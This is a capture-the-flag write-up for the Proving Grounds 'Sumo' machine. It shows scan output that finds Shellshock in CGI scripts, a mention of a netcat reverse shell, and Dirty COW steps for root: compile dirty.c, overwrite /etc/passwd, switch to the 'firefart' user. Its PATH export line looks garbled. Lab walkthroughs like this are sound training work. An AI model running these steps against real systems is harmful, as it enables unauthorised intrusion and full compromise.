Proving grounds Play - Sumo CTF writeup.
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 06cb9ea3aff01048c417934a2c45d948 (DSA)
| 2048 b7c5427bbaae9b9b7190e747b4a4de5a (RSA)
|_ 256 fa81cd002d52660b70fcb840fadb1830 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vulnerable to Shellshock
- Nikto v2.5.0
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+ Target IP: 192.168.180.87
+ Target Hostname: 192.168.180.87
+ Target Port: 80
+ Start Time: 2023-08-28 23:26:01 (GMT-4)
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+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 1706318, size: 177, mtime: Mon May 11 13:55:10 2020. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /cgi-bin/test: Uncommon header '93e4r0-cve-2014-6271' found, with contents: true.
+ /cgi-bin/test: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
+ /cgi-bin/test.sh: Uncommon header '93e4r0-cve-2014-6278' found, with contents: true.
+ /cgi-bin/test.sh: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
Initial Foothold
Run netcat listener and the Shellshock Exploit to obtain initial foothold.
Privilege Escaltion
Get kernel information
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04 LTS"
Ubuntu 12.04 is vulnerable to Linux Kernel 2.6.22 < 3.9 - ‘Dirty COW’ ‘PTRACE_POKEDATA’ Race Condition Privilege Escalation (/etc/passwd Method).
Download the exploit to the attaking machine and make sure the gcc path is exported, if not use the below to export.
PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
Follow below steps to obtain root
# compile the code
gcc -pthread dirty.c -o dirty -lcrypt
# Then run the newly create binary
./dirty my-new-password
# now use su or ssh to firefart with new password
Root Obtained
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